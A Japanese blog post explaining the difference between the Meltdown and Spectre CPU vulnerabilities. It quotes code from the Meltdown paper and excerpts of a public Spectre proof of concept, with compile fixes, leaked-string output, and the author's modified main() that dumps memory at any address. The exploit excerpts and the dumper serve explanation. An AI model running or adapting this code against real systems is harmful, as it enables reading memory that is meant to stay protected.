Spectre
Meltdown

MeltdownとSpectreの違いについて分かったこと

今年になってMeltdownとSpectreが盛り上がっております。
しかし、MeltdownとSpectreの違いが分からず、ほとんど同じようなもの的な解説しかなくて困りました。

一番役に立ったのが、東京大学情報基盤センターの准教授である品川さんのこのtweet
品川さんの1/4 12:56のtweet


Meltdownの概要

Negative Result: Reading Kernel Memory From User Mode
2017/7/28には公開していたぜってブログ。
超簡単に説明すると、CPUには動作モードしてカーネルモードとユーザモードがある。Intelだと80286にプロテクトモードってできたときが最初のはず。でも使っていたOSはほとんどMS-DOSとかだったので対応していなかった。
カーネルモードは特権モードとも呼ばれ、すべてのメモリ空間にアクセスできる。
一方ユーザモードはアクセスできるメモリが限定される。
Meltdownの脆弱性とは、Intelのプロセッサーに限って、ユーザモードなのにカーネルモードしかアクセスできないはずの制限されたメモリ空間にアクセスできてしまったという問題。

やり方
レジスターA=カーネルメモリのアドレスの参照
レジスターB=ユーザメモリのレジスターAのオフセットの参照
ユーザメモリがCPUのキャッシュに乗っているかナノ秒レベルで速度を計って、最も速くアクセスできたメモリブロックがレジスターAの値だと推定する

常識的に考えると、カーネルメモリにアクセス時点で割込み(例外、エラー)となるので、そこで終わりのはずなのに、高性能を追求するIntelさんは次のユーザメモリのアクセスもアウトオブオーダー実行でCPU内部では実行してしまって、L1キャッシュにデータが乗った状態で割込みがかかるらしい。なので、AMDその他のプロセッサーの動作検証ではMeltdownは起きないとされている。

2行目のコード例でarray[a<<12]となっていて、この12ビットシフトは謎だったが、おそらく仮想メモリのページサイズが4096バイトのため、4096バイト間隔でアクセスしているのではないかと。添字0から255までチェックするときに、添字0のチェックの後にキャッシュに乗ってしまうので、次の添字1のチェックで影響しないように4096バイト離しているのではないかと。

(1/9追記)いきなりarray[a<<12]とか出てきてすみません。冒頭の品川さんのtweetのコメントの先にあるコード例です。

品川さんの1/4 15:54のtweet


(1/11追記)Meltdownの方は論文などにPoCが明確に得られなかったので、いろんなサイトの印象になってしまっていました。

Meltdownの論文

まず、コード例は3章 A Toy ExampleにC言語ぽいものがあります。これでは分からん。orz

1 raise_exception();
2 // the line below is never reached
3 access(probe_array[data * 4096]);

5章 Meltdownにアセンブリ言語のコード例があります。これならなんとか。

1 ; rcx = kernel address
2 ; rbx = probe array
3 retry:
4 mov al, byte [rcx]
5 shl rax, 0xc
6 jz retry
7 mov rbx, qword [rbx + rax]

これを何となく同じ意味のC言語で書くとこうなるかと。

byte * rcx = 0xAABBCCDD; /* kernel address */;
qword rbx[4096/4*256]; /* probe array */
while (1) {
    byte al = *rcx;
    qword rax = al;
    rax <<= 12; /* rax *= 4096; */
    if (rax) break;
}
qword rdx = rbx[rax]; /* 変数名変えた */

実はリトライしてたのね。でも値0は取れないのか。

Spectre

SpectreのPoC
英文の論文なんか読んでも分からないからソースでも読んでおけw。

43427.c
void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1[x] * 512];
    }
}

この関数のif文は常にfalseです。
しかし、最近のCPUというのは分岐予測という機能で、とにかくソースコードの実行順だけでなく、データの順番でも先に実行できるものはCPU内部で先行処理しようとします。このPoCがよくできているのが、if文のarray1_sizeは事前にキャッシュに乗っていない状態にして、if文の評価するには時間がかかるから、じゃあtrueとfalseと先に処理してしまえということで、tempへの代入を処理してしまいます。
このときにarray1[x]にアクセスしますが、このxの値というのは、デフォルトでは次の値が入っています。

size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */

つまり、array1[x]というのはarray1[secret-array1]と同じでして、つまりはsecret[0]となるわけです。
secretという変数はグローバル変数です。自分のプロセスのアドレスなんだから読めて当たり前じゃん。その通りです。

char *secret = "The Magic Words are Squeamish Ossifrage.";

でもこれmainの最初で、起動パラメータが2つ指定すると、任意のアドレスで指定したバイト数をスキャンするツールだったのだ!!!
(1/9追記)↑と書いたのですが、実際に目的のデータを盗聴しようにもかなり難しいです。

43427.c
if (argc == 3) {
    sscanf(argv[1], "%p", (void**)(&malicious_x));
    malicious_x -= (size_t)array1; /* Convert input value into a pointer */
    sscanf(argv[2], "%d", &len);
}

あと、Meltdownと同じ原理で、array2のどこかの添字にアクセスしてL1キャッシュに乗っているはずだから、値0から255に相当する部分にアクセスして、妙に速かったところが本来アクセスできないユーザメモリの値と推定できます。

Meltdownと違ってカーネルメモリをスキャンすることはできません。それはCPUレベルでアクセス制限がかかっているためです。
しかし、プロセスごとにメモリ空間が分離されているというのはOSレベルで実現していることであって、CPUレベルで実現していません。したがって、分岐予測のように本来実行されないコードで、そのプロセスがどのメモリにアクセスできないという制御は不可能です。

(1/9追記)この部分は勝手な想像です。分からないのが、OSのパッチでカーネルのメモリ管理を複雑にしてMeltdownは緩和できるとは思いますが、Spectreなんてどうやって対応するんだよ!って。

もしSpectreを根本的に解決しようとすると、分岐予測のような最適化を無効にして、メモリバスと同じクロックでしか事実上動作できないむかしのCPUの性能に戻ってしまうか、もしくはCPU内部にプロセスIDというレジスターを追加し、OSがプロセス生成する度にCPUにこのプロセスIDはこのメモリブロックにアクセス許可するという登録をさせて、CPU内部に許可されたメモリブロックのベクターテーブルを用意し、OSがタスクスイッチする度にプロセスIDレジスターも設定してから機械語を実行させるようにすれば、CPUレベルでプロセスごとのアクセスできるメモリを制限できるようになって根本的に解決できるんじゃないかと思います。

(1/17追記)すんません。他プロセスはページングしているから盗聴するのは無理ぽいです。上に書いてあることを担当するのがcr3制御レジスターぽいね。
x86 Linux のメモリモデル、プロセス空間切り替え、カーネルスタック
Control register

コンパイルの方法

手頃な環境でコンパイルしてみた。

AWS EC2
AMI ID: RHEL-7.4_HVM_GA-20170808-x86_64-2-Hourly2-GP2 (ami-30ef0556)
Red Hat Enterprise Linux Server release 7.4 (Maipo)
3.10.0-693.el7.x86_64
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-16)

$ gcc 43427.c
43427.c: In function ‘readMemoryByte’:
43427.c:63:13: error: ‘for’ loop initial declarations are only allowed in C99 mode
             for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
             ^
43427.c:63:13: note: use option -std=c99 or -std=gnu99 to compile your code

$ gcc -std=c99 43427.c
43427.c: In function ‘main’:
43427.c:125:16: error: stray ‘\342’ in program
                (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
                ^
43427.c:125:16: error: stray ‘\200’ in program
43427.c:125:16: error: stray ‘\231’ in program
43427.c:125:65: error: expected expression before ‘?’ token
                (value[0] > 31 && value[0] < 127 ? value[0] : ’?’), score[0]);
                                                                 ^
43427.c:125:65: error: stray ‘\342’ in program
43427.c:125:65: error: stray ‘\200’ in program
43427.c:125:65: error: stray ‘\231’ in program

えええーーー、意味分からないと思って調べた結果、125行目に’?’ってあるけど妙に大きい。文字コードがU+2019だった。U+0027の普通の'?'にしてください。

実行結果

Reading at malicious_x = 0xffffffffffdfeb40... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfeb41... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeb42... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb43... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb44... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfeb45... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb46... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeb47... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb48... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfeb49... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb4a... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfeb4b... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfeb4c... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb4d... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfeb4e... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb4f... Success: 0x20=’ ’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdfeb50... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb51... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb52... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb53... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb54... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfeb55... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfeb56... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfeb57... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb58... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb59... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfeb5a... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb5b... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb5c... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfeb5d... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfeb5e... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfeb5f... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb60... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfeb61... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfeb62... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfeb63... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfeb64... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfeb65... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfeb66... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfeb67... Success: 0x2E=’.’ score=2

second bestとある1行だけが2つ以上候補が見つかったやつ。
それ以外は候補が1つだけのやつ。
scoreを確定してループを打ち切る条件は以下のif文。これは好きにチューニングすればよいかと。

43427.c
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */

度数を計測するのが以下の部分。CACHE_HIT_THRESHOLD=80の定数。
__rdtscpはティックだけど、どのくらいかはっきり分からないが、たぶん1GHzで1ナノ秒というレベルの数値らしいです。Windowsだと100ナノ秒とか書いてあるけど、それは精度悪すぎじゃないの。

43427.c
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
    results[mix_i]++; /* cache hit - add +1 to score for this value */

どっかに行ってしまったけど、別のPoCだとまずキャッシュヒット、キャッシュミスしたときの時間を計測して、実測値から閾値を求めてさあ攻撃とかあったです。技術者ならヒントさえ与えればいくらでも改善するでしょ。

おわび

PoCのソースなんですが、ほんとに分かっていないところはさらりと飛ばしています。
特にここは分かんないというか、これを理解しようとするモチベーションがないです。

43427.c
            /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
            /* Avoid jumps in case those tip off the branch predictor */
            x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
            x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
            x = training_x ^ (x & (malicious_x ^ training_x));

(1/9追記)余計な出力を無くしたもの

1バイト1行の出力はデバッグするにはよいですが、大変なので1バイト1文字で64桁で改行するようにした。
長さのデフォルトを1024として、起動パラメータが1つ(アドレスのみ)でも動作するようにした。
main関数以外は修正していません。

dump.c
int main(int argc, const char **argv) {
    size_t malicious_x=(size_t)(secret-(char*)array1); /* default for malicious_x */
    int i, score[2], len=1024;
    uint8_t value[2];

    for (i = 0; i < sizeof(array2); i++)
        array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
    if (argc >= 2) {
        sscanf(argv[1], "%p", (void**)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        if (argc >= 3) {
            sscanf(argv[2], "%d", &len);
        }
    }

    //printf("Reading %d bytes:\n", len);
    printf("addr=%p, len=%d\n", malicious_x+(size_t)array1, len);
    i = 0;
    while (--len >= 0) {
        //printf("Reading at malicious_x = %p... ", (void*)malicious_x);
        readMemoryByte(malicious_x++, value, score);
        //printf("%s: ", (score[0] >= 2*score[1] ? "Success" : "Unclear"));
        //printf("0x%02X=’%c’ score=%d ", value[0],
        //       (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]);
        printf("%c", (value[0] > 31 && value[0] < 127 ? value[0] : '?'));
        if (i % 64 == 63) printf("\n");
        i++;
    }
    printf("\n");
    return (0);
}

出力結果(パラメータなし)

addr=0x400b50, len=1024
The Magic Words are Squeamish Ossifrage.?%p?%d?addr=%p, len=%d??
???;D???????????????p???`???]???????????????????????0??? ???????
h????????????????zR??x??????????????????????*???????????????????
?zR??x??????????$???????x???`??????F??J??w?????;*3$"????????D???
????C????A????C??~??????$???d???????'????A????C??E??????????????
????????????e????A????C???`?????D???????????e????B????E????E? ??
E?(??H?0??H?8??M?@l?8A?0A?(B? B??B??B???????????0???????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
????????????????????????????????????????????????????????????????
??@???????@?????????????????????????????????????x?@?????????????
4?@???????????????`???????????????????????????????`?????????????
???????????o??????@?????????????H?@???????????????@?????????????
a?????????????????????????????????????????????????`?????????????
x?????????????????????????????????@???????????????@?????????????